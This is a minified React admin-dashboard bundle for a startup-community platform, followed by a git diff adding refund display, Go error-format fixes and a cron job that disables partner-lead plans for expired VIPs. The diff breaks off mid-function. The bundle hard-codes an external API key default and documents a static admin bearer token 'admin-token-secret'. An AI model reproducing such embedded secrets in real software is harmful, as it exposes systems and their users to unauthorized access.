s.jsxs(wT,{children:[s.jsx(Ht,{path:"/login",element:s.jsx(nI,{})}),s.jsxs(Ht,{path:"/",element:s.jsx(a5,{}),children:[s.jsx(Ht,{index:!0,element:s.jsx(Cm,{to:"/dashboard",replace:!0})}),s.jsx(Ht,{path:"dashboard",element:s.jsx(hP,{})}),s.jsx(Ht,{path:"orders",element:s.jsx(fP,{})}),s.jsx(Ht,{path:"users",element:s.jsx(pP,{})}),s.jsx(Ht,{path:"distribution",element:s.jsx(LP,{})}),s.jsx(Ht,{path:"withdrawals",element:s.jsx(_P,{})}),s.jsx(Ht,{path:"content",element:s.jsx(dV,{})}),s.jsx(Ht,{path:"referral-settings",element:s.jsx(zk,{})}),s.jsx(Ht,{path:"author-settings",element:s.jsx(Cm,{to:"/settings?tab=author",replace:!0})}),s.jsx(Ht,{path:"vip-roles",element:s.jsx(TV,{})}),s.jsx(Ht,{path:"mentors",element:s.jsx(B4,{})}),s.jsx(Ht,{path:"mentor-consultations",element:s.jsx(MV,{})}),s.jsx(Ht,{path:"admin-users",element:s.jsx(Cm,{to:"/settings?tab=admin",replace:!0})}),s.jsx(Ht,{path:"settings",element:s.jsx(yV,{})}),s.jsx(Ht,{path:"payment",element:s.jsx(bV,{})}),s.jsx(Ht,{path:"site",element:s.jsx(jV,{})}),s.jsx(Ht,{path:"qrcodes",element:s.jsx(kV,{})}),s.jsx(Ht,{path:"find-partner",element:s.jsx(HV,{})}),s.jsx(Ht,{path:"match",element:s.jsx(CV,{})}),s.jsx(Ht,{path:"match-records",element:s.jsx(EV,{})}),s.jsx(Ht,{path:"api-doc",element:s.jsx(WV,{})}),s.jsx(Ht,{path:"api-docs",element:s.jsx(F4,{})})]}),s.jsx(Ht,{path:"*",element:s.jsx(UV,{})})]})}EE.createRoot(document.getElementById("root")).render(s.jsx(b.StrictMode,{children:s.jsx(AT,{future:{v7_startTransition:!0,v7_relativeSplatPath:!0},children:s.jsx(KV,{})})})); +- 成功:code=200,message=新增成功 或 已存在`;function BV({initialTab:t="overview"}){const[e,n]=b.useState(t),[r,a]=b.useState("13800000000"),[i,o]=b.useState(""),[c,u]=b.useState(""),[h,f]=b.useState(Iw),[m,g]=b.useState(!1),[y,N]=b.useState(!1),[w,v]=b.useState([]),[k,C]=b.useState([]),[E,T]=b.useState({}),[I,O]=b.useState([{endpoint:"/api/ckb/join",label:"找伙伴",method:"POST",status:"idle"},{endpoint:"/api/ckb/join",label:"资源对接",method:"POST",status:"idle"},{endpoint:"/api/ckb/join",label:"导师顾问",method:"POST",status:"idle"},{endpoint:"/api/ckb/join",label:"团队招募",method:"POST",status:"idle"},{endpoint:"/api/ckb/match",label:"匹配上报",method:"POST",status:"idle"},{endpoint:"/api/miniprogram/ckb/lead",label:"链接卡若",method:"POST",status:"idle"},{endpoint:"/api/match/config",label:"匹配配置",method:"GET",status:"idle"}]),L=b.useMemo(()=>{const $={};return wg.forEach(H=>{$[H.key]=E[H.key]||{apiUrl:"https://ckbapi.quwanzhi.com/v1/api/scenarios",apiKey:"fyngh-ecy9h-qkdae-epwd5-rz6kd",source:"",tags:"",siteTags:"创业实验APP",notes:""}}),$},[E]),R=$=>{const H=r.trim(),oe=i.trim();return $<=3?{type:FV[$],phone:H||void 0,wechat:oe||void 0,userId:"admin_test",name:"后台测试"}:$===4?{matchType:"partner",phone:H||void 0,wechat:oe||void 0,userId:"admin_test",nickname:"后台测试",matchedUser:{id:"test",nickname:"测试",matchScore:88}}:$===5?{phone:H||void 0,wechatId:oe||void 0,userId:"admin_test",name:"后台测试"}:{}};async function D(){N(!0);try{const[$,H,oe]=await Promise.all([De("/api/db/config/full?key=ckb_config"),De("/api/db/ckb-leads?mode=submitted&page=1&pageSize=50"),De("/api/db/ckb-leads?mode=contact&page=1&pageSize=50")]),P=$==null?void 0:$.data;P!=null&&P.routes&&T(P.routes),P!=null&&P.docNotes&&u(P.docNotes),P!=null&&P.docContent&&f(P.docContent),H!=null&&H.success&&v(H.records||[]),oe!=null&&oe.success&&C(oe.records||[])}finally{N(!1)}}b.useEffect(()=>{n(t)},[t]),b.useEffect(()=>{D()},[]);async function z(){g(!0);try{const $=await vt("/api/db/config",{key:"ckb_config",value:{routes:L,docNotes:c,docContent:h},description:"存客宝接口配置"});ie.error(($==null?void 0:$.success)!==!1?"存客宝配置已保存":`保存失败: ${($==null?void 0:$.error)||"未知错误"}`)}catch($){ie.error(`保存失败: ${$ instanceof Error?$.message:"网络错误"}`)}finally{g(!1)}}const Z=($,H)=>{T(oe=>({...oe,[$]:{...L[$],...H}}))},ne=async $=>{const H=I[$];if(H.method==="POST"&&!r.trim()&&!i.trim()){ie.error("请填写测试手机号");return}const oe=[...I];oe[$]={...H,status:"testing",message:void 0,responseTime:void 0},O(oe);const P=performance.now();try{const q=H.method==="GET"?await De(H.endpoint):await vt(H.endpoint,R($)),B=Math.round(performance.now()-P),_=(q==null?void 0:q.message)||"",W=(q==null?void 0:q.success)===!0||_.includes("已存在")||_.includes("已加入")||_.includes("已提交"),le=[...I];le[$]={...H,status:W?"success":"error",message:_||(W?"正常":"异常"),responseTime:B},O(le),await D()}catch(q){const B=Math.round(performance.now()-P),_=[...I];_[$]={...H,status:"error",message:q instanceof Error?q.message:"失败",responseTime:B},O(_)}},fe=async()=>{if(!r.trim()&&!i.trim()){ie.error("请填写测试手机号");return}for(let $=0;$s.jsx("div",{className:"overflow-auto rounded-lg border border-gray-700/30",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{className:"bg-[#0a1628] text-gray-400",children:s.jsxs("tr",{children:[s.jsx("th",{className:"text-left px-4 py-3",children:"发起人"}),s.jsx("th",{className:"text-left px-4 py-3",children:"类型"}),s.jsx("th",{className:"text-left px-4 py-3",children:"手机号"}),s.jsx("th",{className:"text-left px-4 py-3",children:"微信号"}),s.jsx("th",{className:"text-left px-4 py-3",children:"时间"})]})}),s.jsx("tbody",{children:$.length===0?s.jsx("tr",{children:s.jsx("td",{colSpan:5,className:"text-center py-10 text-gray-500",children:H})}):$.map(oe=>s.jsxs("tr",{className:"border-t border-gray-700/30",children:[s.jsx("td",{className:"px-4 py-3 text-white",children:oe.userNickname||oe.userId}),s.jsx("td",{className:"px-4 py-3 text-gray-300",children:oe.matchType}),s.jsx("td",{className:"px-4 py-3 text-green-400",children:oe.phone||"—"}),s.jsx("td",{className:"px-4 py-3 text-blue-400",children:oe.wechatId||"—"}),s.jsx("td",{className:"px-4 py-3 text-gray-400",children:oe.createdAt?new Date(oe.createdAt).toLocaleString():"—"})]},oe.id))})]})});return s.jsx(Ce,{className:"bg-[#0f2137] border-orange-500/30 mb-6",children:s.jsxs(Ee,{className:"p-5",children:[s.jsxs("div",{className:"flex items-center justify-between mb-4",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("h3",{className:"text-white font-semibold",children:"存客宝工作台"}),s.jsx(We,{className:"bg-orange-500/20 text-orange-400 border-0 text-xs",children:"CKB"}),s.jsxs("button",{type:"button",onClick:()=>n("doc"),className:"text-orange-400/60 text-xs hover:text-orange-400 flex items-center gap-1",children:[s.jsx(Us,{className:"w-3 h-3"})," API 文档"]})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsxs(te,{onClick:()=>D(),variant:"outline",size:"sm",className:"border-gray-700 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(qe,{className:`w-3.5 h-3.5 mr-1 ${y?"animate-spin":""}`})," 刷新"]}),s.jsxs(te,{onClick:z,disabled:m,size:"sm",className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-3.5 h-3.5 mr-1"})," ",m?"保存中...":"保存配置"]})]})]}),s.jsx("div",{className:"flex flex-wrap gap-2 mb-5",children:[["overview","概览"],["submitted","已提交线索"],["contact","有联系方式"],["config","场景配置"],["test","接口测试"],["doc","API 文档"]].map(([$,H])=>s.jsx("button",{type:"button",onClick:()=>n($),className:`px-4 py-2 rounded-lg text-sm transition-colors ${e===$?"bg-orange-500 text-white":"bg-[#0a1628] text-gray-400 hover:text-white"}`,children:H},$))}),e==="overview"&&s.jsxs("div",{className:"grid grid-cols-2 lg:grid-cols-4 gap-4",children:[s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700/30 rounded-xl p-5",children:[s.jsx("p",{className:"text-gray-400 text-xs mb-2",children:"已提交线索"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:w.length})]}),s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700/30 rounded-xl p-5",children:[s.jsx("p",{className:"text-gray-400 text-xs mb-2",children:"有联系方式"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:k.length})]}),s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700/30 rounded-xl p-5",children:[s.jsx("p",{className:"text-gray-400 text-xs mb-2",children:"场景配置数"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:wg.length})]}),s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700/30 rounded-xl p-5",children:[s.jsx("p",{className:"text-gray-400 text-xs mb-2",children:"文档备注"}),s.jsx("p",{className:"text-sm text-gray-300 line-clamp-3",children:c||"未填写"})]})]}),e==="submitted"&&xe(w,"暂无已提交线索"),e==="contact"&&xe(k,"暂无有联系方式线索"),e==="config"&&s.jsx("div",{className:"space-y-4",children:wg.map($=>s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700/30 rounded-xl p-4",children:[s.jsxs("div",{className:"flex items-center justify-between mb-3",children:[s.jsx("h4",{className:"text-white font-medium",children:$.label}),s.jsx(We,{className:"bg-orange-500/20 text-orange-300 border-0 text-xs",children:$.key})]}),s.jsxs("div",{className:"grid grid-cols-1 xl:grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"API 地址"}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white h-9 text-sm",value:L[$.key].apiUrl,onChange:H=>Z($.key,{apiUrl:H.target.value})})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"API Key"}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white h-9 text-sm",value:L[$.key].apiKey,onChange:H=>Z($.key,{apiKey:H.target.value})})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"Source"}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white h-9 text-sm",value:L[$.key].source,onChange:H=>Z($.key,{source:H.target.value})})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"Tags"}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white h-9 text-sm",value:L[$.key].tags,onChange:H=>Z($.key,{tags:H.target.value})})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"SiteTags"}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white h-9 text-sm",value:L[$.key].siteTags,onChange:H=>Z($.key,{siteTags:H.target.value})})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"说明备注"}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white h-9 text-sm",value:L[$.key].notes,onChange:H=>Z($.key,{notes:H.target.value})})]})]})]},$.key))}),e==="test"&&s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:"flex gap-3 mb-4",children:[s.jsxs("div",{className:"flex items-center gap-2 flex-1",children:[s.jsx(yi,{className:"w-4 h-4 text-gray-500 shrink-0"}),s.jsxs("div",{className:"flex-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"测试手机号"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 text-sm mt-0.5",value:r,onChange:$=>a($.target.value)})]})]}),s.jsxs("div",{className:"flex items-center gap-2 flex-1",children:[s.jsx("span",{className:"text-gray-500 text-sm shrink-0",children:"💬"}),s.jsxs("div",{className:"flex-1",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"微信号(可选)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 text-sm mt-0.5",value:i,onChange:$=>o($.target.value)})]})]}),s.jsx("div",{className:"flex items-end",children:s.jsxs(te,{onClick:fe,className:"bg-orange-500 hover:bg-orange-600 text-white",children:[s.jsx(li,{className:"w-3.5 h-3.5 mr-1"})," 全部测试"]})})]}),s.jsx("div",{className:"grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-2",children:I.map(($,H)=>s.jsxs("div",{className:"flex items-center justify-between bg-[#0a1628] rounded-lg px-3 py-2 border border-gray-700/30",children:[s.jsxs("div",{className:"flex items-center gap-2 min-w-0",children:[$.status==="idle"&&s.jsx("div",{className:"w-2 h-2 rounded-full bg-gray-600 shrink-0"}),$.status==="testing"&&s.jsx(qe,{className:"w-3 h-3 text-yellow-400 animate-spin shrink-0"}),$.status==="success"&&s.jsx(Mg,{className:"w-3 h-3 text-green-400 shrink-0"}),$.status==="error"&&s.jsx(Jw,{className:"w-3 h-3 text-red-400 shrink-0"}),s.jsx("span",{className:"text-white text-xs truncate",children:$.label})]}),s.jsxs("div",{className:"flex items-center gap-1.5 shrink-0",children:[$.responseTime!==void 0&&s.jsxs("span",{className:"text-gray-600 text-[10px]",children:[$.responseTime,"ms"]}),s.jsx("button",{type:"button",onClick:()=>ne(H),disabled:$.status==="testing",className:"text-orange-400/60 hover:text-orange-400 text-[10px] disabled:opacity-50",children:"测试"})]})]},`${$.endpoint}-${H}`))})]}),e==="doc"&&s.jsxs("div",{className:"grid grid-cols-1 xl:grid-cols-2 gap-4",children:[s.jsxs("div",{className:"bg-[#0a1628] rounded-lg border border-gray-700/30 p-4",children:[s.jsxs("div",{className:"flex items-center justify-between mb-3",children:[s.jsx("h4",{className:"text-white text-sm font-medium",children:"场景获客 API 摘要"}),s.jsxs("a",{href:"https://ckbapi.quwanzhi.com/v1/api/scenarios",target:"_blank",rel:"noreferrer",className:"text-orange-400/70 hover:text-orange-400 text-xs flex items-center gap-1",children:[s.jsx(Us,{className:"w-3 h-3"})," 打开外链"]})]}),s.jsx("pre",{className:"whitespace-pre-wrap text-xs text-gray-400 leading-6",children:h||Iw})]}),s.jsxs("div",{className:"bg-[#0a1628] rounded-lg border border-gray-700/30 p-4",children:[s.jsx("h4",{className:"text-white text-sm font-medium mb-3",children:"说明备注(可编辑)"}),s.jsx("textarea",{className:"w-full min-h-[260px] bg-[#0f2137] border border-gray-700 rounded-md text-sm text-gray-300 p-3 outline-none focus:border-orange-500/50 resize-y",value:c,onChange:$=>u($.target.value),placeholder:"记录 Token、入口差异、回复率统计规则、对接约定等。"})]})]})]})})}const VV=[{id:"stats",label:"数据统计",icon:Tg},{id:"partner",label:"找伙伴",icon:Zn},{id:"resource",label:"资源对接",icon:EM},{id:"mentor",label:"导师预约",icon:kM},{id:"team",label:"团队招募",icon:Lg}];function HV(){const[t,e]=b.useState("stats"),[n,r]=b.useState(!1),[a,i]=b.useState("overview");return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"mb-6 flex items-start justify-between gap-4",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(Zn,{className:"w-6 h-6 text-[#38bdac]"}),"找伙伴"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"数据统计、匹配池与记录、资源对接、导师预约、团队招募"})]}),s.jsxs(te,{type:"button",variant:"outline",onClick:()=>r(o=>!o),className:"border-orange-500/40 text-orange-300 hover:bg-orange-500/10 bg-transparent",children:[s.jsx(Ss,{className:"w-4 h-4 mr-2"}),"存客宝"]})]}),n&&s.jsx(BV,{initialTab:a}),s.jsx("div",{className:"flex flex-wrap gap-1 mb-6 bg-[#0f2137] rounded-lg p-1 border border-gray-700/50",children:VV.map(o=>{const c=t===o.id;return s.jsxs("button",{type:"button",onClick:()=>e(o.id),className:`flex items-center gap-2 px-5 py-2.5 rounded-md text-sm font-medium transition-all ${c?"bg-[#38bdac] text-white shadow-lg":"text-gray-400 hover:text-white hover:bg-gray-700/50"}`,children:[s.jsx(o.icon,{className:"w-4 h-4"}),o.label]},o.id)})}),t==="stats"&&s.jsx($V,{onSwitchTab:o=>e(o),onOpenCKB:o=>{i(o||"overview"),r(!0)}}),t==="partner"&&s.jsx(PV,{}),t==="resource"&&s.jsx(OV,{}),t==="mentor"&&s.jsx(_V,{}),t==="team"&&s.jsx(zV,{})]})}function WV(){return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-8",children:[s.jsx(Ss,{className:"w-8 h-8 text-[#38bdac]"}),s.jsx("h1",{className:"text-2xl font-bold text-white",children:"API 接口文档"})]}),s.jsx("p",{className:"text-gray-400 mb-6",children:"API 风格:RESTful · 版本 v1.0 · 基础路径 /api · 简单、清晰、易用。"}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl mb-6",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"1. 接口总览"})}),s.jsxs(Ee,{className:"space-y-4 text-sm",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 mb-2",children:"接口分类"}),s.jsxs("ul",{className:"space-y-1 text-gray-300 font-mono",children:[s.jsx("li",{children:"/api/book — 书籍内容(章节列表、内容获取、同步)"}),s.jsx("li",{children:"/api/payment — 支付系统(订单创建、回调、状态查询)"}),s.jsx("li",{children:"/api/referral — 分销系统(邀请码、收益、提现)"}),s.jsx("li",{children:"/api/user — 用户系统(登录、注册、信息更新)"}),s.jsx("li",{children:"/api/match — 匹配系统(寻找匹配、匹配历史)"}),s.jsx("li",{children:"/api/admin — 管理后台(内容/订单/用户/分销管理)"}),s.jsx("li",{children:"/api/config — 配置系统"})]})]}),s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 mb-2",children:"认证方式"}),s.jsx("p",{className:"text-gray-300",children:"用户:Cookie session_id(可选)"}),s.jsx("p",{className:"text-gray-300",children:"管理端:Authorization: Bearer admin-token-secret"})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl mb-6",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"2. 书籍内容"})}),s.jsxs(Ee,{className:"space-y-2 text-sm text-gray-300 font-mono",children:[s.jsx("p",{children:"GET /api/book/all-chapters — 获取所有章节"}),s.jsx("p",{children:"GET /api/book/chapter/:id — 获取单章内容"}),s.jsx("p",{children:"POST /api/book/sync — 同步章节(需管理员认证)"})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl mb-6",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"3. 支付"})}),s.jsxs(Ee,{className:"space-y-2 text-sm text-gray-300 font-mono",children:[s.jsx("p",{children:"POST /api/payment/create-order — 创建订单"}),s.jsx("p",{children:"POST /api/payment/alipay/notify — 支付宝回调"}),s.jsx("p",{children:"POST /api/payment/wechat/notify — 微信回调"})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl mb-6",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"4. 分销与用户"})}),s.jsxs(Ee,{className:"space-y-2 text-sm text-gray-300 font-mono",children:[s.jsx("p",{children:"/api/referral/* — 邀请码、收益查询、提现"}),s.jsx("p",{children:"/api/user/* — 登录、注册、信息更新"}),s.jsx("p",{children:"/api/match/* — 匹配、匹配历史"})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl mb-6",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"5. 管理后台"})}),s.jsxs(Ee,{className:"space-y-2 text-sm text-gray-300 font-mono",children:[s.jsx("p",{children:"GET/POST /api/admin/referral-settings — 推广/分销设置(含 VIP 配置)"}),s.jsx("p",{children:"GET /api/db/users、/api/db/book — 用户与章节数据"}),s.jsx("p",{children:"GET /api/admin/orders — 订单列表"})]})]}),s.jsx("p",{className:"text-gray-500 text-xs",children:"完整说明见项目内 开发文档/5、接口/API接口完整文档.md"})]})}function UV(){const t=Si();return s.jsx("div",{className:"min-h-screen bg-[#0a1628] flex items-center justify-center p-8",children:s.jsxs("div",{className:"text-center max-w-md",children:[s.jsx("div",{className:"inline-flex items-center justify-center w-20 h-20 rounded-full bg-red-500/20 text-red-400 mb-6",children:s.jsx(qw,{className:"w-10 h-10"})}),s.jsx("h1",{className:"text-4xl font-bold text-white mb-2",children:"404"}),s.jsx("p",{className:"text-gray-400 mb-1",children:"页面不存在"}),s.jsx("p",{className:"text-sm text-gray-500 font-mono mb-8 break-all",children:t.pathname}),s.jsx(te,{asChild:!0,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:s.jsxs(Eg,{to:"/",children:[s.jsx(LM,{className:"w-4 h-4 mr-2"}),"返回首页"]})})]})})}function KV(){return s.jsxs(wT,{children:[s.jsx(Ht,{path:"/login",element:s.jsx(nI,{})}),s.jsxs(Ht,{path:"/",element:s.jsx(a5,{}),children:[s.jsx(Ht,{index:!0,element:s.jsx(Cm,{to:"/dashboard",replace:!0})}),s.jsx(Ht,{path:"dashboard",element:s.jsx(hP,{})}),s.jsx(Ht,{path:"orders",element:s.jsx(fP,{})}),s.jsx(Ht,{path:"users",element:s.jsx(pP,{})}),s.jsx(Ht,{path:"distribution",element:s.jsx(LP,{})}),s.jsx(Ht,{path:"withdrawals",element:s.jsx(_P,{})}),s.jsx(Ht,{path:"content",element:s.jsx(dV,{})}),s.jsx(Ht,{path:"referral-settings",element:s.jsx(zk,{})}),s.jsx(Ht,{path:"author-settings",element:s.jsx(Cm,{to:"/settings?tab=author",replace:!0})}),s.jsx(Ht,{path:"vip-roles",element:s.jsx(TV,{})}),s.jsx(Ht,{path:"mentors",element:s.jsx(B4,{})}),s.jsx(Ht,{path:"mentor-consultations",element:s.jsx(MV,{})}),s.jsx(Ht,{path:"admin-users",element:s.jsx(Cm,{to:"/settings?tab=admin",replace:!0})}),s.jsx(Ht,{path:"settings",element:s.jsx(yV,{})}),s.jsx(Ht,{path:"payment",element:s.jsx(bV,{})}),s.jsx(Ht,{path:"site",element:s.jsx(jV,{})}),s.jsx(Ht,{path:"qrcodes",element:s.jsx(kV,{})}),s.jsx(Ht,{path:"find-partner",element:s.jsx(HV,{})}),s.jsx(Ht,{path:"match",element:s.jsx(CV,{})}),s.jsx(Ht,{path:"match-records",element:s.jsx(EV,{})}),s.jsx(Ht,{path:"api-doc",element:s.jsx(WV,{})}),s.jsx(Ht,{path:"api-docs",element:s.jsx(F4,{})})]}),s.jsx(Ht,{path:"*",element:s.jsx(UV,{})})]})}EE.createRoot(document.getElementById("root")).render(s.jsx(b.StrictMode,{children:s.jsx(AT,{future:{v7_startTransition:!0,v7_relativeSplatPath:!0},children:s.jsx(KV,{})})})); diff --git a/soul-admin/dist/index.html b/soul-admin/dist/index.html index 2e6bd5ae..303de2dd 100644 --- a/soul-admin/dist/index.html +++ b/soul-admin/dist/index.html @@ -4,8 +4,8 @@ 管理后台 - Soul创业派对 - - + +
diff --git a/soul-admin/src/pages/distribution/DistributionPage.tsx b/soul-admin/src/pages/distribution/DistributionPage.tsx index c505b3f5..8d86ea45 100644 --- a/soul-admin/src/pages/distribution/DistributionPage.tsx +++ b/soul-admin/src/pages/distribution/DistributionPage.tsx @@ -1285,6 +1285,7 @@ export function DistributionPage() { + @@ -1331,10 +1332,20 @@ export function DistributionPage() { ? 'bg-green-500/20 text-green-400 border-0' : r.status === 'pending' || r.status === 'pending_pay' ? 'bg-amber-500/20 text-amber-400 border-0' + : r.status === 'refunded' + ? 'bg-red-500/20 text-red-400 border-0' : 'bg-gray-500/20 text-gray-400 border-0' } > - {r.status === 'paid' ? '已支付' : r.status === 'pending' || r.status === 'pending_pay' ? '待支付' : r.status === 'cancelled' ? '已取消' : '已过期'} + {r.status === 'paid' + ? '已支付' + : r.status === 'pending' || r.status === 'pending_pay' + ? '待支付' + : r.status === 'refunded' + ? '已退款' + : r.status === 'cancelled' + ? '已取消' + : '已过期'} diff --git a/soul-api/internal/handler/autolink.go b/soul-api/internal/handler/autolink.go index 268695f1..9a4b2c00 100644 --- a/soul-api/internal/handler/autolink.go +++ b/soul-api/internal/handler/autolink.go @@ -44,7 +44,7 @@ func ensurePersonByName(db *gorm.DB, name string) (token string, err error) { if db.Where("name = ?", name).First(&p).Error == nil { return p.Token, nil } - created, err := createPersonMinimal(db, clean) + created, err := createPersonMinimal(db, clean, "") if err != nil { return "", err } diff --git a/soul-api/internal/handler/book.go b/soul-api/internal/handler/book.go index 208a1ce7..1c62dc27 100644 --- a/soul-api/internal/handler/book.go +++ b/soul-api/internal/handler/book.go @@ -577,7 +577,7 @@ func previewContent(content string, percent int) string { limit = total } runes := []rune(content) - return string(runes[:limit]) + "\n\n……(购买后阅读完整内容)" + return string(runes[:limit]) + "\n\n……" } // findChapterAndRespond 按条件查章节并返回统一格式 diff --git a/soul-api/internal/handler/ckb_open.go b/soul-api/internal/handler/ckb_open.go index 140a67e6..b09a948a 100644 --- a/soul-api/internal/handler/ckb_open.go +++ b/soul-api/internal/handler/ckb_open.go @@ -72,7 +72,7 @@ func ckbOpenGetToken() (string, error) { if msg == "" { msg = "存客宝鉴权失败" } - return "", fmt.Errorf(msg) + return "", fmt.Errorf("%s", msg) } return authResult.Data.Token, nil } @@ -114,7 +114,7 @@ func ckbOpenCreatePlan(token string, payload map[string]interface{}) (planID int if result.Message == "" { result.Message = "创建计划失败" } - return 0, nil, ckbResponse, fmt.Errorf(result.Message) + return 0, nil, ckbResponse, fmt.Errorf("%s", result.Message) } // 原始 data 转为 map 供响应展示 createData = make(map[string]interface{}) @@ -127,6 +127,49 @@ func ckbOpenCreatePlan(token string, payload map[string]interface{}) (planID int return 0, createData, ckbResponse, fmt.Errorf("创建计划返回结果中缺少 planId") } +// ckbOpenUpdatePlan 调用 PUT /v1/plan/update 更新获客计划(用于停用/启用) +// payload 至少包含 planId +func ckbOpenUpdatePlan(token string, payload map[string]interface{}) (ckbResponse map[string]interface{}, err error) { + raw, _ := json.Marshal(payload) + req, err := http.NewRequest(http.MethodPut, ckbOpenBaseURL+"/v1/plan/update", bytes.NewReader(raw)) + if err != nil { + return nil, fmt.Errorf("构造更新计划请求失败: %w", err) + } + req.Header.Set("Authorization", "Bearer "+token) + req.Header.Set("Content-Type", "application/json") + + resp, err := http.DefaultClient.Do(req) + if err != nil { + return nil, fmt.Errorf("请求存客宝更新计划失败: %w", err) + } + defer resp.Body.Close() + b, _ := io.ReadAll(resp.Body) + var result struct { + Code int `json:"code"` + Message string `json:"message"` + Data json.RawMessage `json:"data"` + } + _ = json.Unmarshal(b, &result) + ckbResponse = map[string]interface{}{ + "code": result.Code, + "message": result.Message, + "data": nil, + } + if len(result.Data) > 0 { + var dataObj interface{} + _ = json.Unmarshal(result.Data, &dataObj) + ckbResponse["data"] = dataObj + } + if result.Code != 200 { + msg := result.Message + if msg == "" { + msg = "更新计划失败" + } + return ckbResponse, fmt.Errorf("%s", msg) + } + return ckbResponse, nil +} + // parseApiKeyFromCreateData 从 create 返回的 data 中解析 apiKey(若存客宝直接返回则复用,避免二次请求) func parseApiKeyFromCreateData(data map[string]interface{}) string { for _, key := range []string{"apiKey", "api_key"} { @@ -200,7 +243,7 @@ func ckbOpenGetPlanDetail(token string, planID int64) (string, error) { if result.Message == "" { result.Message = "获取计划详情失败" } - return "", fmt.Errorf(result.Message) + return "", fmt.Errorf("%s", result.Message) } if result.Data.APIKey == "" { return "", fmt.Errorf("计划详情中缺少 apiKey") @@ -341,7 +384,7 @@ func ckbOpenDeletePlan(token string, planID int64) error { if result.Message == "" { result.Message = "删除计划失败" } - return fmt.Errorf(result.Message) + return fmt.Errorf("%s", result.Message) } return nil } diff --git a/soul-api/internal/handler/cron.go b/soul-api/internal/handler/cron.go index 8a2da5a1..b7bf711b 100644 --- a/soul-api/internal/handler/cron.go +++ b/soul-api/internal/handler/cron.go @@ -203,3 +203,86 @@ func CronSyncOrders(c *gin.Context) { func CronUnbindExpired(c *gin.Context) { c.JSON(http.StatusOK, gin.H{"success": true}) } + +// RunSyncVipCkbPlans 扫描已到期 VIP 用户,自动停用其绑定 Person 的存客宝计划 +// - 最佳努力:停用失败只记日志,不中断整体任务 +// - 幂等:重复执行不会产生额外副作用(计划已停用则仍然 update) +func RunSyncVipCkbPlans(ctx context.Context, limit int) (scanned, disabled int, err error) { + if limit < 1 { + limit = 200 + } + if limit > 2000 { + limit = 2000 + } + db := database.DB() + + // 只处理“有过期日且已过期,并且绑定了 Person(user_id) 且有 planId”的用户 + // 说明:persons.user_id 为新增字段;历史未绑定的不在本任务处理范围内 + type row struct { + UserID string `gorm:"column:user_id"` + PlanID int64 `gorm:"column:ckb_plan_id"` + Nickname string `gorm:"column:nickname"` + } + rows := make([]row, 0) + q := ` + SELECT u.id as user_id, p.ckb_plan_id, COALESCE(u.nickname,'') as nickname + FROM users u + INNER JOIN persons p ON p.user_id = u.id + WHERE u.is_vip = 1 + AND u.vip_expire_date IS NOT NULL + AND u.vip_expire_date <= NOW() + AND p.ckb_plan_id > 0 + ORDER BY u.vip_expire_date ASC + LIMIT ?` + if err := db.Raw(q, limit).Scan(&rows).Error; err != nil { + return 0, 0, err + } + scanned = len(rows) + if scanned == 0 { + return scanned, 0, nil + } + + openToken, tokErr := ckbOpenGetToken() + if tokErr != nil { + // 没 token 直接失败,让 cron 重试(避免把用户标记成非 VIP 但计划未停用) + return scanned, 0, tokErr + } + + for _, r := range rows { + select { + case <-ctx.Done(): + return scanned, disabled, 